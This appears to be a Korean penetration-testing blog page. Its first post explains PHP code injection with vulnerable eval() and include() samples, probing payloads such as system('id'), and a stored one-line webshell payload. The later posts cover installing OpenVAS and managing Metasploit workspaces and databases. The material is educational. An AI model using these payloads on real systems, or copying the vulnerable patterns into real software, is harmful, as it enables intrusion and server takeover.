웹 서비스 개발 과정 중 서버사이드 언어(php,jsp,asp 등)을 include 하는 과정에서 생길 수 있는 취약점이며 공격자가 코드를 웹 서비스로 넘기고 웹이 처리하여 발생하는 취약점입니다.

해당 공격을 통해서 공격자 악성 php,jsp 등의 스크립트를 실행할 수 있게 되지요.
간단하게 php를 예시로 작성합니다.

Code Injection is the general term for attack types which consist of injecting code that is then interpreted/executed by the application. This type of attack exploits poor handling of untrusted data. These types of attacks are usually made possible due to a lack of proper input/output data validation, for example:
    data format
    amount of expected data

Code Injection differs from Command Injection in that an attacker is only limited by the functionality of the injected language itself. If an attacker is able to inject PHP code into an application and have it executed, he is only limited by what PHP is capable of. Command injection consists of leveraging existing code to execute commands, usually within the context of a shell. 
allowed characters (standard regular expressions classes or custom)

(wiki)

PHP Injection 의 발생 경로

웹 해킹에 사용되는 기술은 웹 프로토콜(http)에서의 대다수 행위에 대해 공격이 가능합니다.
PHP Injection 또한 XSS, SQL Injection 이 취약한 부분과 같이 넓은 범위에 대해 공격시도가 가능합니다. 크게 몇가지로 정리해보았습니다.

1. GET Parameter를 통한 Injection

2. POST Data를 통한 Injection

3.Cookie를 통한 Injection

4.HTTP Header 부분에 Injection

이외에도 웹에서 인자값을 받아 처리할 수 있는 구간에서는 모두 동작할 수 있습니다.

PHP Injection 을 통한 공격


1. 구문 우회를 통한 Injection 
이 방법은 XSS 공격 시 Javascript 내 구문을 삽입하는 형태와 매우 유사합니다.
OWASP에서 제공하는 코드를 보면 쉽게 이해가 가능합니다.

eval 함수를 구문을 실행하는 중 공격자가 세미콜론을 이용하여 명령행을 닫은 후 원하는 명령을 수행하는 형태입니다.

vul.php
<?
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>
 
내용이 위와 같다면 공격자 /vul.php?arg=1; phpinfo() 와 같은 형태로 공격이 가능합니다.

2. PHP 파일 참조를 통한 Injection 
대게 1번의 방법은 개발 당시 저런 형태로 개발된 경우가 적습니다. 실제로 취약점 진단 시 저런 형태의 Injection 은 많이 발생하지 않습니다.

대체로 db conf 파일 참조나 다른 php 파일을 로드해서 사용하는 경우 유사한 형태로 Code Injection 이 가능합니다.

vul.php
<?
 $test = $_GET['dbset'];
include($test);
 ?>

이런 코드가 있다면 공격자는 /vul.php?dbset=../../downfile/rm_rf.php 같은 형태로 rm_rf.php 의 코드를 실행 할 수 있습니다. LFI 이며 이 것도 어찌보면 Code Injection 과 같다고 할 수 있습니다. 또한 RFI 처럼 외부 링크 참조가 가능할 때 공격자는 자신의 서버에 있는 php 코드를 타겟에서 호출하여 injection 이 가능합니다.


Injection 을 확인하는 방법

타겟의 중요도와 안정성을 생각하여 여러가지 형태로 테스트를 진행할 수 있습니다.
일반적으로 php의 실행 여부를 확인하기 위해서는 간단한 스크립트로 확인하는 법이 안전하고 좋습니다.

ex) /vul.php?arg=1; echo "Vulnerbility!!"
ex) /vul.php?arg=1; phpinfo();

웹 페이지에서 Vulnerability 가 나타나면 취약하다고 볼 수 있습니다.

좀 더 나아가서 우리는 시스템 명령 수행 여부를 확인할 수 도 있습니다.

ex) /vul.php?arg=1;  system("id");
ex) /vul.php?arg=1;  system("uname -a");


시스템 명령 수행만 가능하여도 시스템에 대해 어느정도 제어가 가능하며, 웹쉘 업로드 등 추가적인 Action 이 가능합니다.

삽입된 형태에 따라 따르지만 저장되는 형태의 Injection(대체로 POST 방식일듯..) 이라면
OneLine WebShell 업로드를 통해 웹 쉘 사용도 가능합니다.

POST /vul.php HTTP/1.0

~~중략~~

set=1&maxx=34&phpinfoON=phpinfo()&test=123

이라고 POST 요청 시 데이터가 저장된다면 공격자는 아래와 같은 형태로 웹 쉘을 올릴 수 있습니다.

POST /vul.php HTTP/1.0

~~중략~~

set=1&maxx=34&phpinfoON=eval($_GET['h_cmd']);&test=123

이후 업로드 된 페이지를 h_cmd 파라미터를 통해 oneline shell을 동작한다면 쉽게 시스템 제어가 가능합니다.

Injection 이후 공격자의 행위


php injection이 성공한 후 공격자는 무엇을 할까요?
공격자 입장에서 생각하였을 때 저의 경우에는 시스템 정보 획득 및 쉘 권한을 따오는게 주 목적이 되지 않을까 싶습니다. 물론 공격자의 목적에 따라 어느 정도 이어지는 Action이 달라지겠지만 대체로 정보수집 + 쉘 권한이라고 봅니다.

1. injection을 통한 정보수집
정보 수집의 경우에는 실행된 php 명령을 통해 시스템의 설정이나 다른 source 파일을 확인하여 공격자가 이후 이루어질 공격에 대해 쉽게 할 수 있도록 많은 정보를 수집할 것입니다.

2. Injection 이후 Shell 업로드

공격자가 시스템 접근 권한을 노리고 있을 시 shell을 업로드 할 가능성이 높아집니다.
shell은 접근성이 좋은 webshell 부터 시스템에 직접 bind, reverse shell을 설치하여 공격자가 접근 권한을 획득할 수 있습니다.


Share: | Coffee Me:

8/05/2015

OpenVAS Debian Linux 에 설치하기(Install OpenVAS Scanner on debian)

최근 OpenVAS 설치 관련 글을 작성하였는데요, 문제가 있는 것 같아. 삭제 후 다시 작성하였습니다.
간단하게 스크립트로 한번에 설치가 가능합니다.



echo "deb http://download.opensuse.org/repositories/security:/OpenVAS:/UNSTABLE:/v6/Debian_7.0/ ./" >> /etc/apt/sources.list
wget http://download.opensuse.org/repositories/security:/OpenVAS:/UNSTABLE:/v6/Debian_7.0/Release.key
apt-key add ./Release.key
sudo apt-get update

apt-get -y install greenbone-security-assistant openvas-cli openvas-manager openvas-scanner openvas-administrator sqlite3 xsltproc rsync


apt-get -y install texlive-latex-base texlive-latex-extra texlive-latex-recommended htmldoc

apt-get -y install alien rpm nsis fakeroot

test -e /var/lib/openvas/CA/cacert.pem  || openvas-mkcert -q
openvas-nvt-sync
test -e /var/lib/openvas/users/om || openvas-mkcert-client -n om -i
/etc/init.d/openvas-manager stop
/etc/init.d/openvas-scanner stop
openvassd
openvasmd --rebuild
openvas-scapdata-sync
openvas-certdata-sync
test -e /var/lib/openvas/users/admin || openvasad -c add_user -n admin -r Admin
killall openvassd
sleep 15
/etc/init.d/openvas-scanner start
/etc/init.d/openvas-manager start
/etc/init.d/openvas-administrator restart
/etc/init.d/greenbone-security-assistant restart

위 명령 실행 후 Password 지정해주시고 아래 9392 포트로 접근해주시면 됩니다,

Open https://localhost:9392
Share: | Coffee Me:

[METASPLOIT] MSF에서 workspace를 이용한 효율적인 Target 관리(workspace management)

Metasploit을 이용해 Target 에 대해 테스트 진행 후 shell 이나 관련 타겟 정보를 db에 저장하곤 합니다. postgresql 을 이용하여 MSF와 연동하여 target host, port , vulnerability 등을 저장하는데 데이터가 많이 쌓이다 보면 어디가 어떤 사이트인지 혼동이 가기 시작할 겁니다.

그런 경우를 대비하여 metasploit 에는 workspace 라는 기능이 존재합니다.
workspace 는 각 그룹을 생성 후 해당 그룹 내 target 정보를 저장하고 필요 시 불러서 사용하는 식으로 활용이 가능합니다.

workspace 명령(command)

msf 내에서 help를 통해 확인하면 아래와 같이 나오게 됩니다.

hahwul #> workspace -h
Usage:
    workspace                  List workspaces
    workspace [name]           Switch workspace
    workspace -a [name] ...    Add workspace(s)
    workspace -d [name] ...    Delete workspace(s)
    workspace -r <old> <new>   Rename workspace
    workspace -h               Show this help information

리스트를 보고, 생성/삭제/수정 정도의 기능이 존재하네요.

리스트를 보시려면 workspace 를 입력 시 현재 가지고 있는 workspace의 리스트 확인이 가능합니다.
hahwul #> workspace
* default

default 로 생성된 workspace 밖에 없네요. -a 옵션을 통해 test라는 workspace 를 만들어봅니다.
hahwul #> workspace -a test
[*] Added workspace: test
hahwul #> workspace
  default
* test

test 라는 workspace 가 생성되고 msf 는 자동으로 test로 스위칭 하였습니다.
이제부터 db를 통해 작업한 내역은 test라는 workspace 내에 들어가며 다른 workspace 와 구별하여 사용이 가능합니다.

필요없는 workspace 는 -d 옵션을 통해 삭제가 가능합니다.
hahwul #> workspace -d test
[*] Deleted workspace: test
[*] Switched workspace: default

workspace 의 이동은 해당 이름을 지정하여 쉽게 가능합니다.
확인 전 여러개의 workspace 를 생성하였습니다.
hahwul #> workspace -a target1
[*] Added workspace: target1
hahwul #> workspace -a target2
[*] Added workspace: target2
hahwul #> workspace -a target3
[*] Added workspace: target3
hahwul #> workspace
  default
  target1
  target2
* target3
hahwul #>

이제 이동하려는 workspace 에 대해 아래와 같이 명령을 주어 이동합니다.
hahwul #> workspace target1
[*] Workspace: target1
hahwul #> workspace
  default
* target1
  target2
  target3
hahwul #>

target1로 변경되었네요.

정말 간단하고 쉬운 기능이지만 알고있다면 pentest에 대해 좀 더 체계적으로 관리가 가능합니다.
혹시나 궁금한 점 있으면 댓글주세요. 감사합니다.
Share: | Coffee Me:

8/04/2015

[METASPLOIT] MSF에서 Postgres DB 연결 및 사용하기

POSTGRES DB에서 계정 및 DATABASE 생성

DB 연결 전 postgres DB에서 사용할 계정 및 DB를 생성합니다.
먼저 postgres 계정으로 전환합니다.
# su - postgres

전환 후 createuser 명령으로 msf에서 db로 사용할 계정을 생성합니다.
# createuser htest_db -P
Enter password for new role: yourpassword
Enter it again: yourpassword
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n

createdb 명령을 통해 msf에서 사용할 db를 생성합니다. owner는 아까 생성한 계정명으로 해줍시다.
# createdb --owner=htest_db htest_database

DB 생성 완료

MSF에서 DB 연결하기

MSF 로드 후 db를 확인하면 아래와 같이 no connection 으로 나타나게 됩니다.
hahwul #> db_status
[*] postgresql selected, no connection

아까 생성한 정보를 기반으로 db_connect 명령을 통해 DB 연결을 시도합니다.

hahwul #> db_connect htest_db:yourpassword@127.0.0.1:5432/htest_database
[*] Rebuilding the module cache in the background...

DB 연결 후 db_status 명령을 통해 확인하면 연결되어 있다고 나옵니다.
hahwul #> db_status
[*] postgresql connected to htest_database

help 명령을 통해 DB 명령을 확인하면 아래와 같습니다. 하나하나 써보시면 금방 이해갑니다.
hahwul #> help database
Database Backend Commands
=========================

    Command           Description
    -------           -----------
    creds             List all credentials in the database
    db_connect        Connect to an existing database
    db_disconnect     Disconnect from the current database instance
    db_export         Export a file containing the contents of the database
    db_import         Import a scan result file (filetype will be auto-detected)
    db_nmap           Executes nmap and records the output automatically
    db_rebuild_cache  Rebuilds the database-stored module cache
    db_status         Show the current database status
    hosts             List all hosts in the database
    loot              List all loot in the database
    notes             List all notes in the database
    services          List all services in the database
    vulns             List all vulnerabilities in the database
    workspace         Switch between database workspaces


hahwul #> db_hosts
hahwul #> db_nmap localhost  (결과를 DB에 저장합니다.)

MSF 구동 시 DB 자동 연결

매번 MSF 실행 시 DB를 연결하기에는 굉장히 번거롭습니다. database.yml 파일을 설정하여 쉽게 바로바로 로드될 수 있도록 수정이 가능합니다.
MSF 디렉토리 > config > database.yml

config 하단에 파일을 로드하면 DB 연결정보가 나오고 아래와 같이 작성해주시면 됩니다.
  7 development: &pgsql
  8   adapter: postgresql
  9   database: DB 이름
 10   username: DB 유저 이름(postgres 에서 만든 계정)
 11   password: 위 계정의 패스워드
 12   host: localhost
 13   port: 5432      # 변경하셨다면 변경하신 포트로 작성해주세요.
 14   pool: 5
 15   timeout: 5

쉽게 설정이 가능하며, DB 연결을 통해 다른 어플리케이션과의 통신도 쉽게 가능합니다.
Share: | Coffee Me: